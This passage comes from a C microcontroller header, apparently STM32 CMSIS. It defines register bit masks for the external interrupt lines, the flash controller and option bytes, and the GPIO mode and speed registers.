EXTI_SWIER2_SWIER32_Msk /*!< Software Interrupt on line 32 */ #define EXTI_SWIER2_SWIER33_Pos (1U) #define EXTI_SWIER2_SWIER33_Msk (0x1U << EXTI_SWIER2_SWIER33_Pos) /*!< 0x00000002 */ #define EXTI_SWIER2_SWIER33 EXTI_SWIER2_SWIER33_Msk /*!< Software Interrupt on line 33 */ /* References Defines */ #define EXTI_SWIER2_SWI32 EXTI_SWIER2_SWIER32 #define EXTI_SWIER2_SWI33 EXTI_SWIER2_SWIER33 /******************* Bit definition for EXTI_PR2 register *******************/ #define EXTI_PR2_PR32_Pos (0U) #define EXTI_PR2_PR32_Msk (0x1U << EXTI_PR2_PR32_Pos) /*!< 0x00000001 */ #define EXTI_PR2_PR32 EXTI_PR2_PR32_Msk /*!< Pending bit for line 32 */ #define EXTI_PR2_PR33_Pos (1U) #define EXTI_PR2_PR33_Msk (0x1U << EXTI_PR2_PR33_Pos) /*!< 0x00000002 */ #define EXTI_PR2_PR33 EXTI_PR2_PR33_Msk /*!< Pending bit for line 33 */ /* References Defines */ #define EXTI_PR2_PIF32 EXTI_PR2_PR32 #define EXTI_PR2_PIF33 EXTI_PR2_PR33 /******************************************************************************/ /* */ /* FLASH */ /* */ /******************************************************************************/ /******************* Bit definition for FLASH_ACR register ******************/ #define FLASH_ACR_LATENCY_Pos (0U) #define FLASH_ACR_LATENCY_Msk (0x7U << FLASH_ACR_LATENCY_Pos) /*!< 0x00000007 */ #define FLASH_ACR_LATENCY FLASH_ACR_LATENCY_Msk /*!< LATENCY[2:0] bits (Latency) */ #define FLASH_ACR_LATENCY_0 (0x1U << FLASH_ACR_LATENCY_Pos) /*!< 0x00000001 */ #define FLASH_ACR_LATENCY_1 (0x2U << FLASH_ACR_LATENCY_Pos) /*!< 0x00000002 */ #define FLASH_ACR_LATENCY_2 (0x4U << FLASH_ACR_LATENCY_Pos) /*!< 0x00000004 */ #define FLASH_ACR_HLFCYA_Pos (3U) #define FLASH_ACR_HLFCYA_Msk (0x1U << FLASH_ACR_HLFCYA_Pos) /*!< 0x00000008 */ #define FLASH_ACR_HLFCYA FLASH_ACR_HLFCYA_Msk /*!< Flash Half Cycle Access Enable */ #define FLASH_ACR_PRFTBE_Pos (4U) #define FLASH_ACR_PRFTBE_Msk (0x1U << FLASH_ACR_PRFTBE_Pos) /*!< 0x00000010 */ #define FLASH_ACR_PRFTBE FLASH_ACR_PRFTBE_Msk /*!< Prefetch Buffer Enable */ #define FLASH_ACR_PRFTBS_Pos (5U) #define FLASH_ACR_PRFTBS_Msk (0x1U << FLASH_ACR_PRFTBS_Pos) /*!< 0x00000020 */ #define FLASH_ACR_PRFTBS FLASH_ACR_PRFTBS_Msk /*!< Prefetch Buffer Status */ /****************** Bit definition for FLASH_KEYR register ******************/ #define FLASH_KEYR_FKEYR_Pos (0U) #define FLASH_KEYR_FKEYR_Msk (0xFFFFFFFFU << FLASH_KEYR_FKEYR_Pos) /*!< 0xFFFFFFFF */ #define FLASH_KEYR_FKEYR FLASH_KEYR_FKEYR_Msk /*!< FPEC Key */ #define RDP_KEY_Pos (0U) #define RDP_KEY_Msk (0xA5U << RDP_KEY_Pos) /*!< 0x000000A5 */ #define RDP_KEY RDP_KEY_Msk /*!< RDP Key */ #define FLASH_KEY1_Pos (0U) #define FLASH_KEY1_Msk (0x45670123U << FLASH_KEY1_Pos) /*!< 0x45670123 */ #define FLASH_KEY1 FLASH_KEY1_Msk /*!< FPEC Key1 */ #define FLASH_KEY2_Pos (0U) #define FLASH_KEY2_Msk (0xCDEF89ABU << FLASH_KEY2_Pos) /*!< 0xCDEF89AB */ #define FLASH_KEY2 FLASH_KEY2_Msk /*!< FPEC Key2 */ /***************** Bit definition for FLASH_OPTKEYR register ****************/ #define FLASH_OPTKEYR_OPTKEYR_Pos (0U) #define FLASH_OPTKEYR_OPTKEYR_Msk (0xFFFFFFFFU << FLASH_OPTKEYR_OPTKEYR_Pos) /*!< 0xFFFFFFFF */ #define FLASH_OPTKEYR_OPTKEYR FLASH_OPTKEYR_OPTKEYR_Msk /*!< Option Byte Key */ #define FLASH_OPTKEY1 FLASH_KEY1 /*!< Option Byte Key1 */ #define FLASH_OPTKEY2 FLASH_KEY2 /*!< Option Byte Key2 */ /****************** Bit definition for FLASH_SR register *******************/ #define FLASH_SR_BSY_Pos (0U) #define FLASH_SR_BSY_Msk (0x1U << FLASH_SR_BSY_Pos) /*!< 0x00000001 */ #define FLASH_SR_BSY FLASH_SR_BSY_Msk /*!< Busy */ #define FLASH_SR_PGERR_Pos (2U) #define FLASH_SR_PGERR_Msk (0x1U << FLASH_SR_PGERR_Pos) /*!< 0x00000004 */ #define FLASH_SR_PGERR FLASH_SR_PGERR_Msk /*!< Programming Error */ #define FLASH_SR_WRPERR_Pos (4U) #define FLASH_SR_WRPERR_Msk (0x1U << FLASH_SR_WRPERR_Pos) /*!< 0x00000010 */ #define FLASH_SR_WRPERR FLASH_SR_WRPERR_Msk /*!< Write Protection Error */ #define FLASH_SR_EOP_Pos (5U) #define FLASH_SR_EOP_Msk (0x1U << FLASH_SR_EOP_Pos) /*!< 0x00000020 */ #define FLASH_SR_EOP FLASH_SR_EOP_Msk /*!< End of operation */ /******************* Bit definition for FLASH_CR register *******************/ #define FLASH_CR_PG_Pos (0U) #define FLASH_CR_PG_Msk (0x1U << FLASH_CR_PG_Pos) /*!< 0x00000001 */ #define FLASH_CR_PG FLASH_CR_PG_Msk /*!< Programming */ #define FLASH_CR_PER_Pos (1U) #define FLASH_CR_PER_Msk (0x1U << FLASH_CR_PER_Pos) /*!< 0x00000002 */ #define FLASH_CR_PER FLASH_CR_PER_Msk /*!< Page Erase */ #define FLASH_CR_MER_Pos (2U) #define FLASH_CR_MER_Msk (0x1U << FLASH_CR_MER_Pos) /*!< 0x00000004 */ #define FLASH_CR_MER FLASH_CR_MER_Msk /*!< Mass Erase */ #define FLASH_CR_OPTPG_Pos (4U) #define FLASH_CR_OPTPG_Msk (0x1U << FLASH_CR_OPTPG_Pos) /*!< 0x00000010 */ #define FLASH_CR_OPTPG FLASH_CR_OPTPG_Msk /*!< Option Byte Programming */ #define FLASH_CR_OPTER_Pos (5U) #define FLASH_CR_OPTER_Msk (0x1U << FLASH_CR_OPTER_Pos) /*!< 0x00000020 */ #define FLASH_CR_OPTER FLASH_CR_OPTER_Msk /*!< Option Byte Erase */ #define FLASH_CR_STRT_Pos (6U) #define FLASH_CR_STRT_Msk (0x1U << FLASH_CR_STRT_Pos) /*!< 0x00000040 */ #define FLASH_CR_STRT FLASH_CR_STRT_Msk /*!< Start */ #define FLASH_CR_LOCK_Pos (7U) #define FLASH_CR_LOCK_Msk (0x1U << FLASH_CR_LOCK_Pos) /*!< 0x00000080 */ #define FLASH_CR_LOCK FLASH_CR_LOCK_Msk /*!< Lock */ #define FLASH_CR_OPTWRE_Pos (9U) #define FLASH_CR_OPTWRE_Msk (0x1U << FLASH_CR_OPTWRE_Pos) /*!< 0x00000200 */ #define FLASH_CR_OPTWRE FLASH_CR_OPTWRE_Msk /*!< Option Bytes Write Enable */ #define FLASH_CR_ERRIE_Pos (10U) #define FLASH_CR_ERRIE_Msk (0x1U << FLASH_CR_ERRIE_Pos) /*!< 0x00000400 */ #define FLASH_CR_ERRIE FLASH_CR_ERRIE_Msk /*!< Error Interrupt Enable */ #define FLASH_CR_EOPIE_Pos (12U) #define FLASH_CR_EOPIE_Msk (0x1U << FLASH_CR_EOPIE_Pos) /*!< 0x00001000 */ #define FLASH_CR_EOPIE FLASH_CR_EOPIE_Msk /*!< End of operation interrupt enable */ #define FLASH_CR_OBL_LAUNCH_Pos (13U) #define FLASH_CR_OBL_LAUNCH_Msk (0x1U << FLASH_CR_OBL_LAUNCH_Pos) /*!< 0x00002000 */ #define FLASH_CR_OBL_LAUNCH FLASH_CR_OBL_LAUNCH_Msk /*!< OptionBytes Loader Launch */ /******************* Bit definition for FLASH_AR register *******************/ #define FLASH_AR_FAR_Pos (0U) #define FLASH_AR_FAR_Msk (0xFFFFFFFFU << FLASH_AR_FAR_Pos) /*!< 0xFFFFFFFF */ #define FLASH_AR_FAR FLASH_AR_FAR_Msk /*!< Flash Address */ /****************** Bit definition for FLASH_OBR register *******************/ #define FLASH_OBR_OPTERR_Pos (0U) #define FLASH_OBR_OPTERR_Msk (0x1U << FLASH_OBR_OPTERR_Pos) /*!< 0x00000001 */ #define FLASH_OBR_OPTERR FLASH_OBR_OPTERR_Msk /*!< Option Byte Error */ #define FLASH_OBR_RDPRT_Pos (1U) #define FLASH_OBR_RDPRT_Msk (0x3U << FLASH_OBR_RDPRT_Pos) /*!< 0x00000006 */ #define FLASH_OBR_RDPRT FLASH_OBR_RDPRT_Msk /*!< Read protection */ #define FLASH_OBR_RDPRT_1 (0x1U << FLASH_OBR_RDPRT_Pos) /*!< 0x00000002 */ #define FLASH_OBR_RDPRT_2 (0x3U << FLASH_OBR_RDPRT_Pos) /*!< 0x00000006 */ #define FLASH_OBR_USER_Pos (8U) #define FLASH_OBR_USER_Msk (0x77U << FLASH_OBR_USER_Pos) /*!< 0x00007700 */ #define FLASH_OBR_USER FLASH_OBR_USER_Msk /*!< User Option Bytes */ #define FLASH_OBR_IWDG_SW_Pos (8U) #define FLASH_OBR_IWDG_SW_Msk (0x1U << FLASH_OBR_IWDG_SW_Pos) /*!< 0x00000100 */ #define FLASH_OBR_IWDG_SW FLASH_OBR_IWDG_SW_Msk /*!< IWDG SW */ #define FLASH_OBR_nRST_STOP_Pos (9U) #define FLASH_OBR_nRST_STOP_Msk (0x1U << FLASH_OBR_nRST_STOP_Pos) /*!< 0x00000200 */ #define FLASH_OBR_nRST_STOP FLASH_OBR_nRST_STOP_Msk /*!< nRST_STOP */ #define FLASH_OBR_nRST_STDBY_Pos (10U) #define FLASH_OBR_nRST_STDBY_Msk (0x1U << FLASH_OBR_nRST_STDBY_Pos) /*!< 0x00000400 */ #define FLASH_OBR_nRST_STDBY FLASH_OBR_nRST_STDBY_Msk /*!< nRST_STDBY */ #define FLASH_OBR_nBOOT1_Pos (12U) #define FLASH_OBR_nBOOT1_Msk (0x1U << FLASH_OBR_nBOOT1_Pos) /*!< 0x00001000 */ #define FLASH_OBR_nBOOT1 FLASH_OBR_nBOOT1_Msk /*!< nBOOT1 */ #define FLASH_OBR_VDDA_MONITOR_Pos (13U) #define FLASH_OBR_VDDA_MONITOR_Msk (0x1U << FLASH_OBR_VDDA_MONITOR_Pos) /*!< 0x00002000 */ #define FLASH_OBR_VDDA_MONITOR FLASH_OBR_VDDA_MONITOR_Msk /*!< VDDA_MONITOR */ #define FLASH_OBR_SRAM_PE_Pos (14U) #define FLASH_OBR_SRAM_PE_Msk (0x1U << FLASH_OBR_SRAM_PE_Pos) /*!< 0x00004000 */ #define FLASH_OBR_SRAM_PE FLASH_OBR_SRAM_PE_Msk /*!< SRAM_PE */ #define FLASH_OBR_DATA0_Pos (16U) #define FLASH_OBR_DATA0_Msk (0xFFU << FLASH_OBR_DATA0_Pos) /*!< 0x00FF0000 */ #define FLASH_OBR_DATA0 FLASH_OBR_DATA0_Msk /*!< Data0 */ #define FLASH_OBR_DATA1_Pos (24U) #define FLASH_OBR_DATA1_Msk (0xFFU << FLASH_OBR_DATA1_Pos) /*!< 0xFF000000 */ #define FLASH_OBR_DATA1 FLASH_OBR_DATA1_Msk /*!< Data1 */ /* Legacy defines */ #define FLASH_OBR_WDG_SW FLASH_OBR_IWDG_SW /****************** Bit definition for FLASH_WRPR register ******************/ #define FLASH_WRPR_WRP_Pos (0U) #define FLASH_WRPR_WRP_Msk (0xFFFFFFFFU << FLASH_WRPR_WRP_Pos) /*!< 0xFFFFFFFF */ #define FLASH_WRPR_WRP FLASH_WRPR_WRP_Msk /*!< Write Protect */ /*----------------------------------------------------------------------------*/ /****************** Bit definition for OB_RDP register **********************/ #define OB_RDP_RDP_Pos (0U) #define OB_RDP_RDP_Msk (0xFFU << OB_RDP_RDP_Pos) /*!< 0x000000FF */ #define OB_RDP_RDP OB_RDP_RDP_Msk /*!< Read protection option byte */ #define OB_RDP_nRDP_Pos (8U) #define OB_RDP_nRDP_Msk (0xFFU << OB_RDP_nRDP_Pos) /*!< 0x0000FF00 */ #define OB_RDP_nRDP OB_RDP_nRDP_Msk /*!< Read protection complemented option byte */ /****************** Bit definition for OB_USER register *********************/ #define OB_USER_USER_Pos (16U) #define OB_USER_USER_Msk (0xFFU << OB_USER_USER_Pos) /*!< 0x00FF0000 */ #define OB_USER_USER OB_USER_USER_Msk /*!< User option byte */ #define OB_USER_nUSER_Pos (24U) #define OB_USER_nUSER_Msk (0xFFU << OB_USER_nUSER_Pos) /*!< 0xFF000000 */ #define OB_USER_nUSER OB_USER_nUSER_Msk /*!< User complemented option byte */ /****************** Bit definition for FLASH_WRP0 register ******************/ #define OB_WRP0_WRP0_Pos (0U) #define OB_WRP0_WRP0_Msk (0xFFU << OB_WRP0_WRP0_Pos) /*!< 0x000000FF */ #define OB_WRP0_WRP0 OB_WRP0_WRP0_Msk /*!< Flash memory write protection option bytes */ #define OB_WRP0_nWRP0_Pos (8U) #define OB_WRP0_nWRP0_Msk (0xFFU << OB_WRP0_nWRP0_Pos) /*!< 0x0000FF00 */ #define OB_WRP0_nWRP0 OB_WRP0_nWRP0_Msk /*!< Flash memory write protection complemented option bytes */ /****************** Bit definition for FLASH_WRP1 register ******************/ #define OB_WRP1_WRP1_Pos (16U) #define OB_WRP1_WRP1_Msk (0xFFU << OB_WRP1_WRP1_Pos) /*!< 0x00FF0000 */ #define OB_WRP1_WRP1 OB_WRP1_WRP1_Msk /*!< Flash memory write protection option bytes */ #define OB_WRP1_nWRP1_Pos (24U) #define OB_WRP1_nWRP1_Msk (0xFFU << OB_WRP1_nWRP1_Pos) /*!< 0xFF000000 */ #define OB_WRP1_nWRP1 OB_WRP1_nWRP1_Msk /*!< Flash memory write protection complemented option bytes */ /****************** Bit definition for FLASH_WRP2 register ******************/ #define OB_WRP2_WRP2_Pos (0U) #define OB_WRP2_WRP2_Msk (0xFFU << OB_WRP2_WRP2_Pos) /*!< 0x000000FF */ #define OB_WRP2_WRP2 OB_WRP2_WRP2_Msk /*!< Flash memory write protection option bytes */ #define OB_WRP2_nWRP2_Pos (8U) #define OB_WRP2_nWRP2_Msk (0xFFU << OB_WRP2_nWRP2_Pos) /*!< 0x0000FF00 */ #define OB_WRP2_nWRP2 OB_WRP2_nWRP2_Msk /*!< Flash memory write protection complemented option bytes */ /****************** Bit definition for FLASH_WRP3 register ******************/ #define OB_WRP3_WRP3_Pos (16U) #define OB_WRP3_WRP3_Msk (0xFFU << OB_WRP3_WRP3_Pos) /*!< 0x00FF0000 */ #define OB_WRP3_WRP3 OB_WRP3_WRP3_Msk /*!< Flash memory write protection option bytes */ #define OB_WRP3_nWRP3_Pos (24U) #define OB_WRP3_nWRP3_Msk (0xFFU << OB_WRP3_nWRP3_Pos) /*!< 0xFF000000 */ #define OB_WRP3_nWRP3 OB_WRP3_nWRP3_Msk /*!< Flash memory write protection complemented option bytes */ /******************************************************************************/ /* */ /* General Purpose I/O (GPIO) */ /* */ /******************************************************************************/ /******************* Bit definition for GPIO_MODER register *****************/ #define GPIO_MODER_MODER0_Pos (0U) #define GPIO_MODER_MODER0_Msk (0x3U << GPIO_MODER_MODER0_Pos) /*!< 0x00000003 */ #define GPIO_MODER_MODER0 GPIO_MODER_MODER0_Msk #define GPIO_MODER_MODER0_0 (0x1U << GPIO_MODER_MODER0_Pos) /*!< 0x00000001 */ #define GPIO_MODER_MODER0_1 (0x2U << GPIO_MODER_MODER0_Pos) /*!< 0x00000002 */ #define GPIO_MODER_MODER1_Pos (2U) #define GPIO_MODER_MODER1_Msk (0x3U << GPIO_MODER_MODER1_Pos) /*!< 0x0000000C */ #define GPIO_MODER_MODER1 GPIO_MODER_MODER1_Msk #define GPIO_MODER_MODER1_0 (0x1U << GPIO_MODER_MODER1_Pos) /*!< 0x00000004 */ #define GPIO_MODER_MODER1_1 (0x2U << GPIO_MODER_MODER1_Pos) /*!< 0x00000008 */ #define GPIO_MODER_MODER2_Pos (4U) #define GPIO_MODER_MODER2_Msk (0x3U << GPIO_MODER_MODER2_Pos) /*!< 0x00000030 */ #define GPIO_MODER_MODER2 GPIO_MODER_MODER2_Msk #define GPIO_MODER_MODER2_0 (0x1U << GPIO_MODER_MODER2_Pos) /*!< 0x00000010 */ #define GPIO_MODER_MODER2_1 (0x2U << GPIO_MODER_MODER2_Pos) /*!< 0x00000020 */ #define GPIO_MODER_MODER3_Pos (6U) #define GPIO_MODER_MODER3_Msk (0x3U << GPIO_MODER_MODER3_Pos) /*!< 0x000000C0 */ #define GPIO_MODER_MODER3 GPIO_MODER_MODER3_Msk #define GPIO_MODER_MODER3_0 (0x1U << GPIO_MODER_MODER3_Pos) /*!< 0x00000040 */ #define GPIO_MODER_MODER3_1 (0x2U << GPIO_MODER_MODER3_Pos) /*!< 0x00000080 */ #define GPIO_MODER_MODER4_Pos (8U) #define GPIO_MODER_MODER4_Msk (0x3U << GPIO_MODER_MODER4_Pos) /*!< 0x00000300 */ #define GPIO_MODER_MODER4 GPIO_MODER_MODER4_Msk #define GPIO_MODER_MODER4_0 (0x1U << GPIO_MODER_MODER4_Pos) /*!< 0x00000100 */ #define GPIO_MODER_MODER4_1 (0x2U << GPIO_MODER_MODER4_Pos) /*!< 0x00000200 */ #define GPIO_MODER_MODER5_Pos (10U) #define GPIO_MODER_MODER5_Msk (0x3U << GPIO_MODER_MODER5_Pos) /*!< 0x00000C00 */ #define GPIO_MODER_MODER5 GPIO_MODER_MODER5_Msk #define GPIO_MODER_MODER5_0 (0x1U << GPIO_MODER_MODER5_Pos) /*!< 0x00000400 */ #define GPIO_MODER_MODER5_1 (0x2U << GPIO_MODER_MODER5_Pos) /*!< 0x00000800 */ #define GPIO_MODER_MODER6_Pos (12U) #define GPIO_MODER_MODER6_Msk (0x3U << GPIO_MODER_MODER6_Pos) /*!< 0x00003000 */ #define GPIO_MODER_MODER6 GPIO_MODER_MODER6_Msk #define GPIO_MODER_MODER6_0 (0x1U << GPIO_MODER_MODER6_Pos) /*!< 0x00001000 */ #define GPIO_MODER_MODER6_1 (0x2U << GPIO_MODER_MODER6_Pos) /*!< 0x00002000 */ #define GPIO_MODER_MODER7_Pos (14U) #define GPIO_MODER_MODER7_Msk (0x3U << GPIO_MODER_MODER7_Pos) /*!< 0x0000C000 */ #define GPIO_MODER_MODER7 GPIO_MODER_MODER7_Msk #define GPIO_MODER_MODER7_0 (0x1U << GPIO_MODER_MODER7_Pos) /*!< 0x00004000 */ #define GPIO_MODER_MODER7_1 (0x2U << GPIO_MODER_MODER7_Pos) /*!< 0x00008000 */ #define GPIO_MODER_MODER8_Pos (16U) #define GPIO_MODER_MODER8_Msk (0x3U << GPIO_MODER_MODER8_Pos) /*!< 0x00030000 */ #define GPIO_MODER_MODER8 GPIO_MODER_MODER8_Msk #define GPIO_MODER_MODER8_0 (0x1U << GPIO_MODER_MODER8_Pos) /*!< 0x00010000 */ #define GPIO_MODER_MODER8_1 (0x2U << GPIO_MODER_MODER8_Pos) /*!< 0x00020000 */ #define GPIO_MODER_MODER9_Pos (18U) #define GPIO_MODER_MODER9_Msk (0x3U << GPIO_MODER_MODER9_Pos) /*!< 0x000C0000 */ #define GPIO_MODER_MODER9 GPIO_MODER_MODER9_Msk #define GPIO_MODER_MODER9_0 (0x1U << GPIO_MODER_MODER9_Pos) /*!< 0x00040000 */ #define GPIO_MODER_MODER9_1 (0x2U << GPIO_MODER_MODER9_Pos) /*!< 0x00080000 */ #define GPIO_MODER_MODER10_Pos (20U) #define GPIO_MODER_MODER10_Msk (0x3U << GPIO_MODER_MODER10_Pos) /*!< 0x00300000 */ #define GPIO_MODER_MODER10 GPIO_MODER_MODER10_Msk #define GPIO_MODER_MODER10_0 (0x1U << GPIO_MODER_MODER10_Pos) /*!< 0x00100000 */ #define GPIO_MODER_MODER10_1 (0x2U << GPIO_MODER_MODER10_Pos) /*!< 0x00200000 */ #define GPIO_MODER_MODER11_Pos (22U) #define GPIO_MODER_MODER11_Msk (0x3U << GPIO_MODER_MODER11_Pos) /*!< 0x00C00000 */ #define GPIO_MODER_MODER11 GPIO_MODER_MODER11_Msk #define GPIO_MODER_MODER11_0 (0x1U << GPIO_MODER_MODER11_Pos) /*!< 0x00400000 */ #define GPIO_MODER_MODER11_1 (0x2U << GPIO_MODER_MODER11_Pos) /*!< 0x00800000 */ #define GPIO_MODER_MODER12_Pos (24U) #define GPIO_MODER_MODER12_Msk (0x3U << GPIO_MODER_MODER12_Pos) /*!< 0x03000000 */ #define GPIO_MODER_MODER12 GPIO_MODER_MODER12_Msk #define GPIO_MODER_MODER12_0 (0x1U << GPIO_MODER_MODER12_Pos) /*!< 0x01000000 */ #define GPIO_MODER_MODER12_1 (0x2U << GPIO_MODER_MODER12_Pos) /*!< 0x02000000 */ #define GPIO_MODER_MODER13_Pos (26U) #define GPIO_MODER_MODER13_Msk (0x3U << GPIO_MODER_MODER13_Pos) /*!< 0x0C000000 */ #define GPIO_MODER_MODER13 GPIO_MODER_MODER13_Msk #define GPIO_MODER_MODER13_0 (0x1U << GPIO_MODER_MODER13_Pos) /*!< 0x04000000 */ #define GPIO_MODER_MODER13_1 (0x2U << GPIO_MODER_MODER13_Pos) /*!< 0x08000000 */ #define GPIO_MODER_MODER14_Pos (28U) #define GPIO_MODER_MODER14_Msk (0x3U << GPIO_MODER_MODER14_Pos) /*!< 0x30000000 */ #define GPIO_MODER_MODER14 GPIO_MODER_MODER14_Msk #define GPIO_MODER_MODER14_0 (0x1U << GPIO_MODER_MODER14_Pos) /*!< 0x10000000 */ #define GPIO_MODER_MODER14_1 (0x2U << GPIO_MODER_MODER14_Pos) /*!< 0x20000000 */ #define GPIO_MODER_MODER15_Pos (30U) #define GPIO_MODER_MODER15_Msk (0x3U << GPIO_MODER_MODER15_Pos) /*!< 0xC0000000 */ #define GPIO_MODER_MODER15 GPIO_MODER_MODER15_Msk #define GPIO_MODER_MODER15_0 (0x1U << GPIO_MODER_MODER15_Pos) /*!< 0x40000000 */ #define GPIO_MODER_MODER15_1 (0x2U << GPIO_MODER_MODER15_Pos) /*!< 0x80000000 */ /****************** Bit definition for GPIO_OTYPER register *****************/ #define GPIO_OTYPER_OT_0 (0x00000001U) #define GPIO_OTYPER_OT_1 (0x00000002U) #define GPIO_OTYPER_OT_2 (0x00000004U) #define GPIO_OTYPER_OT_3 (0x00000008U) #define GPIO_OTYPER_OT_4 (0x00000010U) #define GPIO_OTYPER_OT_5 (0x00000020U) #define GPIO_OTYPER_OT_6 (0x00000040U) #define GPIO_OTYPER_OT_7 (0x00000080U) #define GPIO_OTYPER_OT_8 (0x00000100U) #define GPIO_OTYPER_OT_9 (0x00000200U) #define GPIO_OTYPER_OT_10 (0x00000400U) #define GPIO_OTYPER_OT_11 (0x00000800U) #define GPIO_OTYPER_OT_12 (0x00001000U) #define GPIO_OTYPER_OT_13 (0x00002000U) #define GPIO_OTYPER_OT_14 (0x00004000U) #define GPIO_OTYPER_OT_15 (0x00008000U) /**************** Bit definition for GPIO_OSPEEDR register ******************/ #define GPIO_OSPEEDER_OSPEEDR0_Pos (0U) #define GPIO_OSPEEDER_OSPEEDR0_Msk (0x3U << GPIO_OSPEEDER_OSPEEDR0_Pos) /*!< 0x00000003 */ #define GPIO_OSPEEDER_OSPEEDR0 GPIO_OSPEEDER_OSPEEDR0_Msk #define GPIO_OSPEEDER_OSPEEDR0_0 (0x1U << GPIO_OSPEEDER_OSPEEDR0_Pos) /*!< 0x00000001 */ #define GPIO_OSPEEDER_OSPEEDR0_1 (0x2U << GPIO_OSPEEDER_OSPEEDR0_Pos) /*!< 0x00000002 */ #define GPIO_OSPEEDER_OSPEEDR1_Pos (2U) #define GPIO_OSPEEDER_OSPEEDR1_Msk (0x3U << GPIO_OSPEEDER_OSPEEDR1_Pos) /*!< 0x0000000C */ #define GPIO_OSPEEDER_OSPEEDR1 GPIO_OSPEEDER_OSPEEDR1_Msk #define GPIO_OSPEEDER_OSPEEDR1_0 (0x1U << GPIO_OSPEEDER_OSPEEDR1_Pos) /*!< 0x00000004 */ #define GPIO_OSPEEDER_OSPEEDR1_1 (0x2U << GPIO_OSPEEDER_OSPEEDR1_Pos) /*!< 0x00000008 */ #define GPIO_OSPEEDER_OSPEEDR2_Pos (4U) #define GPIO_OSPEEDER_OSPEEDR2_Msk (0x3U << GPIO_OSPEEDER_OSPEEDR2_Pos) /*!< 0x00000030 */ #define GPIO_OSPEEDER_OSPEEDR2 GPIO_OSPEEDER_OSPEEDR2_Msk #define GPIO_OSPEEDER_OSPEEDR2_0 (0x1U << GPIO_OSPEEDER_OSPEEDR2_Pos) /*!< 0x00000010 */ #define GPIO_OSPEEDER_OSPEEDR2_1 (0x2U << GPIO_OSPEEDER_OSPEEDR2_Pos) /*!< 0x00000020 */ #define GPIO_OSPEEDER_OSPEEDR3_Pos (6U) #define GPIO_OSPEEDER_OSPEEDR3_Msk (0x3U << GPIO_OSPEEDER_OSPEEDR3_Pos) /*!< 0x000000C0 */ #define GPIO_OSPEEDER_OSPEEDR3 GPIO_OSPEEDER_OSPEEDR3_Msk #define GPIO_OSPEEDER_OSPEEDR3_0 (0x1U << GPIO_OSPEEDER_OSPEEDR3_Pos) /*!< 0x00000040 */ #define GPIO_OSPEEDER_OSPEEDR3_1 (0x2U << GPIO_OSPEEDER_OSPEEDR3_Pos) /*!< 0x00000080 */ #define GPIO_OSPEEDER_OSPEEDR4_Pos (8U) #define GPIO_OSPEEDER_OSPEEDR4_Msk (0x3U << GPIO_OSPEEDER_OSPEEDR4_Pos) /*!< 0x00000300 */ #define GPIO_OSPEEDER_OSPEEDR4 GPIO_OSPEEDER_OSPEEDR4_Msk #define GPIO_OSPEEDER_OSPEEDR4_0 (0x1U << GPIO_OSPEEDER_OSPEEDR4_Pos) /*!< 0x00000100 */ #define GPIO_OSPEEDER_OSPEEDR4_1 (0x2U << GPIO_OSPEEDER_OSPEEDR4_Pos) /*!< 0x00000200 */ #define GPIO_OSPEEDER_OSPEEDR5_Pos (10U) #define GPIO_OSPEEDER_OSPEEDR5_Msk (0x3U << GPIO_OSPEEDER_OSPEEDR5_Pos) /*!< 0x00000C00 */ #define GPIO_OSPEEDER_OSPEEDR5 GPIO_OSPEEDER_OSPEEDR5_Msk #define GPIO_OSPEEDER_OSPEEDR5_0 (0x1U << GPIO_OSPEEDER_OSPEEDR5_Pos) /*!< 0x00000400 */ #define GPIO_OSPEEDER_OSPEEDR5_1 (0x2U << GPIO_OSPEEDER_OSPEEDR5_Pos) /*!< 0x00000800 */ #define GPIO_OSPEEDER_OSPEEDR6_Pos (12U) #define GPIO_OSPEEDER_OSPEEDR6_Msk (0x3U << GPIO_OSPEEDER_OSPEEDR6_Pos) /*!< 0x00003000 */ #define GPIO_OSPEEDER_OSPEEDR6 GPIO_OSPEEDER_OSPEEDR6_Msk #define GPIO_OSPEEDER_OSPEEDR6_0 (0x1U << GPIO_OSPEEDER_OSPEEDR6_Pos) /*!< 0x00001000 */ #define GPIO_OSPEEDER_OSPEEDR6_1 (0x2U << GPIO_OSPEEDER_OSPEEDR6_Pos) /*!< 0x00002000 */ #define GPIO_OSPEEDER_OSPEEDR7_Pos (14U) #define GPIO_OSPEEDER_OSPEEDR7_Msk (0x3U << GPIO_OSPEEDER_OSPEEDR7_Pos) /*!< 0x0000C000 */ #define GPIO_OSPEEDER_OSPEEDR7 GPIO_OSPEEDER_OSPEEDR7_Msk #define GPIO_OSPEEDER_OSPEEDR7_0 (0x1U << GPIO_OSPEEDER_OSPEEDR7_Pos) /*!< 0x00004000 */ #define GPIO_OSPEEDER_OSPEEDR7_1 (0x2U << GPIO_OSPEEDER_OSPEEDR7_Pos) /*!< 0x00008000 */ #define GPIO_OSPEEDER_OSPEEDR8_Pos (16U) #define GPIO_OSPEEDER_OSPEEDR8_Msk (0x3U << GPIO_OSPEEDER_OSPEEDR8_Pos) /*!< 0x00030000 */ #define GPIO_OSPEEDER_OSPEEDR8 GPIO_OSPEEDER_OSPEEDR8_Msk #define GPIO_OSPEEDER_OSPEEDR8_0 (0x1U << GPIO_OSPEEDER_OSPEEDR8_Pos) /*!< 0x00010000 */ #define GPIO_OSPEEDER_OSPEEDR8_1 (0x2U << GPIO_OSPEEDER_OSPEEDR8_Pos) /*!< 0x00020000 */ #define GPIO_OSPEEDER_OSPEEDR9_Pos (18U) #define GPIO_OSPEEDER_OSPEEDR9_Msk (0x3U << GPIO_OSPEEDER_OSPEEDR9_Pos) /*!< 0x000C0000 */ #define GPIO_OSPEEDER_OSPEEDR9 GPIO_OSPEEDER_OSPEEDR9_Msk #define GPIO_OSPEEDER_OSPEEDR9_0 (0x1U << GPIO_OSPEEDER_OSPEEDR9_Pos) /*!< 0x00040000 */ #define GPIO_OSPEEDER_OSPEEDR9_1 (0x2U << GPIO_OSPEEDER_OSPEEDR9_Pos) /*!< 0x00080000 */ #define GPIO_OSPEEDER_OSPEEDR10_Pos (20U) #define GPIO_OSPEEDER_OSPEEDR10_Msk (0x3U << GPIO_OSPEEDER_OSPEEDR10_Pos) /*!< 0x00300000 */ #define GPIO_OSPEEDER_OSPEEDR10 GPIO_OSPEEDER_OSPEEDR10_Msk #define GPIO_OSPEEDER_OSPEEDR10_0 (0x1U << GPIO_OSPEEDER_OSPEEDR10_Pos) /*!< 0x00100000 */ #define GPIO_OSPEEDER_OSPEEDR10_1 (0x2U << GPIO_OSPEEDER_OSPEEDR10_Pos) /*!< 0x00200000 */ #define GPIO_OSPEEDER_OSPEEDR11_Pos (22U) #define GPIO_OSPEEDER_OSPEEDR11_Msk (0x3U 